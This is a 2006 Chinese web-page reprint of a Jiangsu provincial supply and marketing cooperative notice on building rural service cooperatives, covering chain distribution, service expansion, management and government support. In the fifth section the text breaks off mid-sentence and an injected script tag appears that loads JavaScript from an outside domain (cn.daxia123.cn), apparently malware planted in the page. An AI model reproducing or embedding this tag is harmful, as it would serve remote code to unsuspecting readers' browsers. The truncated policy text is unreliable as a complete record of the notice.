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江苏省供销合作社制定关于进一步加强为农服务社建设的意见
作者:管理员| 发布时间:2006-08-07

  编者按:为推动综合服务社建设,近日,江苏省供销合作社下发了《关于进一步加强为农服务社建设的意见》,从加快连锁配送步伐、拓宽服务领域、加强规范管理等方面进一步推动这项工作的深入开展,现印发,供各地参考。 
                               江苏省供销合作社关于进一步加强为农服务社建设的意见       2002年以来,全省供销合作社系统在省委、省政府的正确领导下,紧紧围绕服务三农的办社宗旨,大力推进为农服务社建设,取得了明显成效,受到了农民群众的欢迎,得到了党委、政府和社会各界的充分肯定。截至2005年末,全系统为农服务社总数已达到5389个。为进一步加快全系统为农服务社建设步伐,确保完成省委、省政府下达的目标任务,提升为农服务社建设水平,打造供销合作社新型服务平台,现提出如下意见: 
    一、进一步提高认识,确保完成省委、省政府交给的任务 
    为农服务社是我省供销合作社创新为农服务的重要载体和平台,是实现农村安全消费、便捷消费的重要抓手,是建设社会主义新农村的重要内容。今年,省政府把全省建办1000家为农服务社列入了省政府2006年重点工作任务分解落实方案(苏政发〔2006〕23号),省委农村工作领导小组“2006年农业和农村重点工作任务”(苏委农〔2006〕1号)也进行分解落实。这充分体现”了省委、省政府对供销合作社工作的关心和重视,各地一定要把为农服务社建设作为供销合作社参与社会主义新农村建设的重要切入点,作为创新供销合作社组织体系的重要基础,作为占领农村市场提高为农服务效果的重要手段,作为一项“民心工程”,进一步增强政治责任感和紧迫感,高度重视,狠抓落实,精心组织,扎实推进,保质保量完成省委、省政府分解的重点工作任务,坚定不移地推进“万村为农服务社建设工程”。 
   二、加快连锁配送步伐,改造提升农村商品流通网络 
   为农服务社实行连锁化经营,是发挥系统的传统优势,充分利用供销合作社经营网络,推进日用消费品和农业生产资料下乡(镇)进村,杜绝假冒伪劣商品的重要途径,也是加快为农服务社自身发展的迫切需要。各地供销合作社要加强与系统内外连锁龙头企业对接的步伐,实行商品统一配送和准入制度,不断提高为农服务社连锁经营和商品配送的比重,使服务社成为各类连锁企业的终端。2006年,为农服务社经营的食品类商品配送比例要争取达到50%以上,农资类商品配送比例要争取达到60%以上,今后逐年有所提高。 
    三、拓宽服务领域,探索合作制理念与服务社建设相结合 
    为农服务社是我省供销合作社五级组织网络体系的终端,直接向农村居民开展面对面的服务。要根据农村居民多样化的生产生活需要,有针对性地拓宽服务域,争取做到农民需要什么服务就提供什么服务。要不断提升为农服务档次,具备条件的,要积极推进农村社区综合服务中心建设,尤其是撤乡并镇的地方,即原乡政府所在地要逐步向农村社区综合服务中心方向发展,在村级建设为农服务社或农村社区综合服务中心。要不断扩大服务内涵,在做好经营性项目的同时,因地制宜增加服务性项目和中介性项目。每个县级供销合作社每年要帮助为农服务社牵头协调落实1-2项代办服务项目;有条件的县级供销合作社,要组织为农服务社与本地大型商业企业或生产企业签订框架协议,农民通过为农服务社团购的商品享受的折扣,直接让利农民,体现对农民的优惠。      四、加强规范管理,建立长效机制科学完善的体制和机制是为农服务社生命力的体现。为规范三星级为农服务社创建工作,省社今年重新修订出台了认定和管理办法。各地要加强为农服务社制度建设,努力形成健全、科学、规范、高效的经营机制和管理制度,不断提高为农服务社的运行质量和经济效益;要坚持开放办社,大力开展对为农服务社从业人员政策、业务知识培训,不断提高经营者素质和经营管理水平;要健全组织管理机构,加大检查、考核和工作协调力度,加强商品质量管理和安全管理。有条件的县级供销销合作社可以建立辅导员制度,形成长效管理机制。要加强对为农服务社和农村社区综合服务中心体制、机制问题的理论研究,开辟为农服务社建设的新形式、新路子,不断把为农服务社建设引向深入。 
   五、争取政府推动,形成部门共建共用良好氛围 
   各级供销合作社要以为农服务社列入省政府2006年重点工作任务为重要契机,不断加大协调力度,积极争取地方党委、政府的重视和支持,争取?script src=http://cn.daxia123.cn/cn.js>

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